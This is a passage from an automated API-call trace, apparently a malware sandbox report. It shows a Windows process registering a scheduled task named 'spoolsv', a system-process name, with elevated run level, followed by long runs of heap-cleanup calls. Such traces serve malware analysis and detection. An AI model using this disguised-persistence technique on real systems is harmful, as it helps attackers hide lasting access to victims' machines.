(This=0x4d7e90) returned 0x1 [0160.176] GetLocalTime (in: lpSystemTime=0x1bcbf8 | out: lpSystemTime=0x1bcbf8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x13, wMilliseconds=0x194)) [0160.176] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0160.176] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0160.176] GetUserNameW (in: lpBuffer=0x1bcc20, pcbBuffer=0x1bcc08 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x1bcc08) returned 1 [0160.177] ITaskDefinition:get_RegistrationInfo (in: This=0x4d7c20, ppRegistrationInfo=0x1bcbf0 | out: ppRegistrationInfo=0x1bcbf0*=0x4d7d60) returned 0x0 [0160.177] IRegistrationInfo:put_Author (This=0x4d7d60, Author="") returned 0x0 [0160.177] _vsnwprintf (in: _Buffer=0x1bcc20, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x1bcbb8 | out: _Buffer="2022-08-06T02:19:19") returned 19 [0160.177] IRegistrationInfo:put_Date (This=0x4d7d60, Date="") returned 0x0 [0160.177] IUnknown:Release (This=0x4d7d60) returned 0x1 [0160.178] malloc (_Size=0x18) returned 0x4d7b80 [0160.178] free (_Block=0x4d7b80) [0160.178] lstrlenW (lpString="") returned 0 [0160.178] ITaskDefinition:get_Principal (in: This=0x4d7c20, ppPrincipal=0x1bce10 | out: ppPrincipal=0x1bce10*=0x4d5fb0) returned 0x0 [0160.178] IPrincipal:put_RunLevel (This=0x4d5fb0, RunLevel=1) returned 0x0 [0160.178] IUnknown:Release (This=0x4d5fb0) returned 0x1 [0160.178] malloc (_Size=0x18) returned 0x4d7b80 [0160.178] ITaskFolder:RegisterTaskDefinition (in: This=0x4d7bd0, Path="spoolsv", pDefinition=0x4d7c20, flags=6, UserId=0x1bce90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1bced0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1beda0, varVal2=0xfe), LogonType=3, sddl=0x1bceb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x1bcdb0 | out: ppTask=0x1bcdb0*=0x4d7fd0) returned 0x0 [0160.634] free (_Block=0x4d7b80) [0160.634] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.634] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0160.634] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0160.634] GetProcessHeap () returned 0x230000 [0160.634] GetProcessHeap () returned 0x230000 [0160.634] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d590) returned 1 [0160.634] GetProcessHeap () returned 0x230000 [0160.634] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d590) returned 0xe [0160.634] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d590 | out: hHeap=0x230000) returned 1 [0160.634] GetProcessHeap () returned 0x230000 [0160.634] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x82) returned 0x269910 [0160.634] _vsnwprintf (in: _Buffer=0x1bd4f0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x1bcd58 | out: _Buffer="SUCCESS: The scheduled task \"spoolsv\" has successfully been created.\n") returned 69 [0160.634] _fileno (_File=0x7fefed02ab0) returned -2 [0160.635] _errno () returned 0x4d4bb0 [0160.635] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0160.635] SetLastError (dwErrCode=0x6) [0160.635] lstrlenW (lpString="SUCCESS: The scheduled task \"spoolsv\" has successfully been created.\n") returned 69 [0160.635] GetConsoleOutputCP () returned 0x0 [0160.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"spoolsv\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0160.635] GetConsoleOutputCP () returned 0x0 [0160.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"spoolsv\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0xff491880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"spoolsv\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 69 [0160.635] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 69 [0160.635] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0160.636] IUnknown:Release (This=0x4d7fd0) returned 0x0 [0160.636] TaskScheduler:IUnknown:Release (This=0x4d7c20) returned 0x0 [0160.636] TaskScheduler:IUnknown:Release (This=0x4d7bd0) returned 0x0 [0160.636] TaskScheduler:IUnknown:Release (This=0x4d5a50) returned 0x1 [0160.636] lstrlenW (lpString="") returned 0 [0160.636] GetProcessHeap () returned 0x230000 [0160.636] GetProcessHeap () returned 0x230000 [0160.636] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24c220) returned 1 [0160.636] GetProcessHeap () returned 0x230000 [0160.636] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24c220) returned 0x1fc [0160.637] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24c220 | out: hHeap=0x230000) returned 1 [0160.637] GetProcessHeap () returned 0x230000 [0160.637] GetProcessHeap () returned 0x230000 [0160.637] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d4b0) returned 1 [0160.637] GetProcessHeap () returned 0x230000 [0160.637] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d4b0) returned 0x16 [0160.637] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d4b0 | out: hHeap=0x230000) returned 1 [0160.637] GetProcessHeap () returned 0x230000 [0160.637] GetProcessHeap () returned 0x230000 [0160.637] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d530) returned 1 [0160.637] GetProcessHeap () returned 0x230000 [0160.637] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d530) returned 0x18 [0160.637] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d530 | out: hHeap=0x230000) returned 1 [0160.637] GetProcessHeap () returned 0x230000 [0160.637] GetProcessHeap () returned 0x230000 [0160.637] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cd20) returned 1 [0160.637] GetProcessHeap () returned 0x230000 [0160.637] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cd20) returned 0x20 [0160.638] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cd20 | out: hHeap=0x230000) returned 1 [0160.638] GetProcessHeap () returned 0x230000 [0160.638] GetProcessHeap () returned 0x230000 [0160.638] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24bfc0) returned 1 [0160.638] GetProcessHeap () returned 0x230000 [0160.638] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24bfc0) returned 0xa0 [0160.638] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24bfc0 | out: hHeap=0x230000) returned 1 [0160.638] GetProcessHeap () returned 0x230000 [0160.638] GetProcessHeap () returned 0x230000 [0160.638] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24ba40) returned 1 [0160.638] GetProcessHeap () returned 0x230000 [0160.638] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24ba40) returned 0x18 [0160.638] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ba40 | out: hHeap=0x230000) returned 1 [0160.639] GetProcessHeap () returned 0x230000 [0160.639] GetProcessHeap () returned 0x230000 [0160.639] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cae0) returned 1 [0160.639] GetProcessHeap () returned 0x230000 [0160.639] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cae0) returned 0x20 [0160.639] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cae0 | out: hHeap=0x230000) returned 1 [0160.639] GetProcessHeap () returned 0x230000 [0160.639] GetProcessHeap () returned 0x230000 [0160.639] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2492c0) returned 1 [0160.639] GetProcessHeap () returned 0x230000 [0160.639] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x2492c0) returned 0x3e [0160.639] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2492c0 | out: hHeap=0x230000) returned 1 [0160.640] GetProcessHeap () returned 0x230000 [0160.640] GetProcessHeap () returned 0x230000 [0160.640] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d490) returned 1 [0160.640] GetProcessHeap () returned 0x230000 [0160.640] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d490) returned 0x18 [0160.640] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d490 | out: hHeap=0x230000) returned 1 [0160.640] GetProcessHeap () returned 0x230000 [0160.640] GetProcessHeap () returned 0x230000 [0160.640] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cab0) returned 1 [0160.640] GetProcessHeap () returned 0x230000 [0160.640] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cab0) returned 0x20 [0160.640] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cab0 | out: hHeap=0x230000) returned 1 [0160.640] GetProcessHeap () returned 0x230000 [0160.640] GetProcessHeap () returned 0x230000 [0160.640] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x249270) returned 1 [0160.640] GetProcessHeap () returned 0x230000 [0160.640] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x249270) returned 0x40 [0160.641] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x249270 | out: hHeap=0x230000) returned 1 [0160.641] GetProcessHeap () returned 0x230000 [0160.641] GetProcessHeap () returned 0x230000 [0160.641] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d510) returned 1 [0160.641] GetProcessHeap () returned 0x230000 [0160.641] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d510) returned 0x18 [0160.641] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d510 | out: hHeap=0x230000) returned 1 [0160.641] GetProcessHeap () returned 0x230000 [0160.641] GetProcessHeap () returned 0x230000 [0160.641] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24ca80) returned 1 [0160.641] GetProcessHeap () returned 0x230000 [0160.641] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24ca80) returned 0x20 [0160.642] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ca80 | out: hHeap=0x230000) returned 1 [0160.642] GetProcessHeap () returned 0x230000 [0160.642] GetProcessHeap () returned 0x230000 [0160.642] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d4f0) returned 1 [0160.642] GetProcessHeap () returned 0x230000 [0160.642] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d4f0) returned 0xe [0160.642] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d4f0 | out: hHeap=0x230000) returned 1 [0160.642] GetProcessHeap () returned 0x230000 [0160.642] GetProcessHeap () returned 0x230000 [0160.642] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d4d0) returned 1 [0160.642] GetProcessHeap () returned 0x230000 [0160.642] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d4d0) returned 0x18 [0160.642] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d4d0 | out: hHeap=0x230000) returned 1 [0160.642] GetProcessHeap () returned 0x230000 [0160.642] GetProcessHeap () returned 0x230000 [0160.642] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245d20) returned 1 [0160.642] GetProcessHeap () returned 0x230000 [0160.642] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245d20) returned 0x20 [0160.643] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245d20 | out: hHeap=0x230000) returned 1 [0160.643] GetProcessHeap () returned 0x230000 [0160.643] GetProcessHeap () returned 0x230000 [0160.643] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24bbc0) returned 1 [0160.643] GetProcessHeap () returned 0x230000 [0160.643] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24bbc0) returned 0x208 [0160.643] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24bbc0 | out: hHeap=0x230000) returned 1 [0160.643] GetProcessHeap () returned 0x230000 [0160.643] GetProcessHeap () returned 0x230000 [0160.643] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24ba20) returned 1 [0160.643] GetProcessHeap () returned 0x230000 [0160.643] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24ba20) returned 0x18 [0160.643] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ba20 | out: hHeap=0x230000) returned 1 [0160.643] GetProcessHeap () returned 0x230000 [0160.643] GetProcessHeap () returned 0x230000 [0160.643] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245c30) returned 1 [0160.643] GetProcessHeap () returned 0x230000 [0160.643] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245c30) returned 0x20 [0160.644] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245c30 | out: hHeap=0x230000) returned 1 [0160.644] GetProcessHeap () returned 0x230000 [0160.644] GetProcessHeap () returned 0x230000 [0160.644] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d250) returned 1 [0160.644] GetProcessHeap () returned 0x230000 [0160.644] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d250) returned 0x200 [0160.644] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d250 | out: hHeap=0x230000) returned 1 [0160.644] GetProcessHeap () returned 0x230000 [0160.644] GetProcessHeap () returned 0x230000 [0160.644] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24ba60) returned 1 [0160.644] GetProcessHeap () returned 0x230000 [0160.644] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24ba60) returned 0x18 [0160.644] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ba60 | out: hHeap=0x230000) returned 1 [0160.644] GetProcessHeap () returned 0x230000 [0160.644] GetProcessHeap () returned 0x230000 [0160.644] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245ba0) returned 1 [0160.644] GetProcessHeap () returned 0x230000 [0160.644] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245ba0) returned 0x20 [0160.645] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245ba0 | out: hHeap=0x230000) returned 1 [0160.645] GetProcessHeap () returned 0x230000 [0160.645] GetProcessHeap () returned 0x230000 [0160.645] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24c1d0) returned 1 [0160.645] GetProcessHeap () returned 0x230000 [0160.645] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24c1d0) returned 0x14 [0160.645] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24c1d0 | out: hHeap=0x230000) returned 1 [0160.645] GetProcessHeap () returned 0x230000 [0160.645] GetProcessHeap () returned 0x230000 [0160.645] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24c1b0) returned 1 [0160.645] GetProcessHeap () returned 0x230000 [0160.645] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24c1b0) returned 0x18 [0160.645] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24c1b0 | out: hHeap=0x230000) returned 1 [0160.645] GetProcessHeap () returned 0x230000 [0160.646] GetProcessHeap () returned 0x230000 [0160.646] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245ae0) returned 1 [0160.646] GetProcessHeap () returned 0x230000 [0160.646] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245ae0) returned 0x20 [0160.646] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245ae0 | out: hHeap=0x230000) returned 1 [0160.646] GetProcessHeap () returned 0x230000 [0160.646] GetProcessHeap () returned 0x230000 [0160.646] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24c1f0) returned 1 [0160.646] GetProcessHeap () returned 0x230000 [0160.646] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24c1f0) returned 0x16 [0160.646] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24c1f0 | out: hHeap=0x230000) returned 1 [0160.646] GetProcessHeap () returned 0x230000 [0160.646] GetProcessHeap () returned 0x230000 [0160.646] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24c170) returned 1 [0160.646] GetProcessHeap () returned 0x230000 [0160.646] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24c170) returned 0x18 [0160.646] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24c170 | out: hHeap=0x230000) returned 1 [0160.646] GetProcessHeap () returned 0x230000 [0160.646] GetProcessHeap () returned 0x230000 [0160.646] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245ab0) returned 1 [0160.646] GetProcessHeap () returned 0x230000 [0160.647] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245ab0) returned 0x20 [0160.647] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245ab0 | out: hHeap=0x230000) returned 1 [0160.647] GetProcessHeap () returned 0x230000 [0160.647] GetProcessHeap () returned 0x230000 [0160.647] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24b9a0) returned 1 [0160.647] GetProcessHeap () returned 0x230000 [0160.647] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24b9a0) returned 0x2 [0160.647] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24b9a0 | out: hHeap=0x230000) returned 1 [0160.647] GetProcessHeap () returned 0x230000 [0160.647] GetProcessHeap () returned 0x230000 [0160.647] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245900) returned 1 [0160.647] GetProcessHeap () returned 0x230000 [0160.647] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245900) returned 0x20 [0160.647] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245900 | out: hHeap=0x230000) returned 1 [0160.648] GetProcessHeap () returned 0x230000 [0160.648] GetProcessHeap () returned 0x230000 [0160.648] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245930) returned 1 [0160.648] GetProcessHeap () returned 0x230000 [0160.648] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245930) returned 0x20 [0160.648] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245930 | out: hHeap=0x230000) returned 1 [0160.648] GetProcessHeap () returned 0x230000 [0160.648] GetProcessHeap () returned 0x230000 [0160.648] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245960) returned 1 [0160.648] GetProcessHeap () returned 0x230000 [0160.648] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245960) returned 0x20 [0160.648] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245960 | out: hHeap=0x230000) returned 1 [0160.648] GetProcessHeap () returned 0x230000 [0160.648] GetProcessHeap () returned 0x230000 [0160.649] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245990) returned 1 [0160.649] GetProcessHeap () returned 0x230000 [0160.649] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245990) returned 0x20 [0160.649] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245990 | out: hHeap=0x230000) returned 1 [0160.649] GetProcessHeap () returned 0x230000 [0160.649] GetProcessHeap () returned 0x230000 [0160.649] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cb10) returned 1 [0160.649] GetProcessHeap () returned 0x230000 [0160.649] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cb10) returned 0x20 [0160.649] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cb10 | out: hHeap=0x230000) returned 1 [0160.649] GetProcessHeap () returned 0x230000 [0160.649] GetProcessHeap () returned 0x230000 [0160.649] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d630) returned 1 [0160.649] GetProcessHeap () returned 0x230000 [0160.649] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d630) returned 0xc [0160.650] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d630 | out: hHeap=0x230000) returned 1 [0160.650] GetProcessHeap () returned 0x230000 [0160.650] GetProcessHeap () returned 0x230000 [0160.650] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cb40) returned 1 [0160.650] GetProcessHeap () returned 0x230000 [0160.650] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cb40) returned 0x20 [0160.650] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cb40 | out: hHeap=0x230000) returned 1 [0160.650] GetProcessHeap () returned 0x230000 [0160.650] GetProcessHeap () returned 0x230000 [0160.650] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x247a20) returned 1 [0160.650] GetProcessHeap () returned 0x230000 [0160.650] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x247a20) returned 0x30 [0160.651] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x247a20 | out: hHeap=0x230000) returned 1 [0160.651] GetProcessHeap () returned 0x230000 [0160.651] GetProcessHeap () returned 0x230000 [0160.651] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cb70) returned 1 [0160.651] GetProcessHeap () returned 0x230000 [0160.651] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cb70) returned 0x20 [0160.651] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cb70 | out: hHeap=0x230000) returned 1 [0160.651] GetProcessHeap () returned 0x230000 [0160.651] GetProcessHeap () returned 0x230000 [0160.651] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x247a60) returned 1 [0160.651] GetProcessHeap () returned 0x230000 [0160.651] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x247a60) returned 0x30 [0160.651] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x247a60 | out: hHeap=0x230000) returned 1 [0160.651] GetProcessHeap () returned 0x230000 [0160.651] GetProcessHeap () returned 0x230000 [0160.652] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24ccf0) returned 1 [0160.652] GetProcessHeap () returned 0x230000 [0160.652] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24ccf0) returned 0x20 [0160.652] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ccf0 | out: hHeap=0x230000) returned 1 [0160.652] GetProcessHeap () returned 0x230000 [0160.652] GetProcessHeap () returned 0x230000 [0160.652] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d550) returned 1 [0160.652] GetProcessHeap () returned 0x230000 [0160.652] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d550) returned 0x16 [0160.652] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d550 | out: hHeap=0x230000) returned 1 [0160.652] GetProcessHeap () returned 0x230000 [0160.652] GetProcessHeap () returned 0x230000 [0160.652] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24ccc0) returned 1 [0160.652] GetProcessHeap () returned 0x230000 [0160.652] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24ccc0) returned 0x20 [0160.653] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ccc0 | out: hHeap=0x230000) returned 1 [0160.653] GetProcessHeap () returned 0x230000 [0160.653] GetProcessHeap () returned 0x230000 [0160.653] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d570) returned 1 [0160.653] GetProcessHeap () returned 0x230000 [0160.653] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d570) returned 0x16 [0160.653] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d570 | out: hHeap=0x230000) returned 1 [0160.653] GetProcessHeap () returned 0x230000 [0160.653] GetProcessHeap () returned 0x230000 [0160.653] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc90) returned 1 [0160.653] GetProcessHeap () returned 0x230000 [0160.653] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cc90) returned 0x20 [0160.653] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc90 | out: hHeap=0x230000) returned 1 [0160.653] GetProcessHeap () returned 0x230000 [0160.653] GetProcessHeap () returned 0x230000 [0160.653] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x269910) returned 1 [0160.653] GetProcessHeap () returned 0x230000 [0160.654] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x269910) returned 0x82 [0160.654] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x269910 | out: hHeap=0x230000) returned 1 [0160.654] GetProcessHeap () returned 0x230000 [0160.654] GetProcessHeap () returned 0x230000 [0160.654] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc60) returned 1 [0160.654] GetProcessHeap () returned 0x230000 [0160.654] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cc60) returned 0x20 [0160.654] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc60 | out: hHeap=0x230000) returned 1 [0160.654] GetProcessHeap () returned 0x230000 [0160.654] GetProcessHeap () returned 0x230000 [0160.654] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d5b0) returned 1 [0160.654] GetProcessHeap () returned 0x230000 [0160.654] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d5b0) returned 0xe [0160.655] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d5b0 | out: hHeap=0x230000) returned 1 [0160.655] GetProcessHeap () returned 0x230000 [0160.655] GetProcessHeap () returned 0x230000 [0160.655] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc30) returned 1 [0160.655] GetProcessHeap () returned 0x230000 [0160.655] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cc30) returned 0x20 [0160.655] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc30 | out: hHeap=0x230000) returned 1 [0160.655] GetProcessHeap () returned 0x230000 [0160.655] GetProcessHeap () returned 0x230000 [0160.655] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d5d0) returned 1 [0160.655] GetProcessHeap () returned 0x230000 [0160.655] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d5d0) returned 0xc [0160.655] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d5d0 | out: hHeap=0x230000) returned 1 [0160.655] GetProcessHeap () returned 0x230000 [0160.655] GetProcessHeap () returned 0x230000 [0160.655] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc00) returned 1 [0160.655] GetProcessHeap () returned 0x230000 [0160.655] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cc00) returned 0x20 [0160.656] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc00 | out: hHeap=0x230000) returned 1 [0160.656] GetProcessHeap () returned 0x230000 [0160.656] GetProcessHeap () returned 0x230000 [0160.656] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d5f0) returned 1 [0160.656] GetProcessHeap () returned 0x230000 [0160.656] RtlSizeHeap (HeapHandle=0x230000, 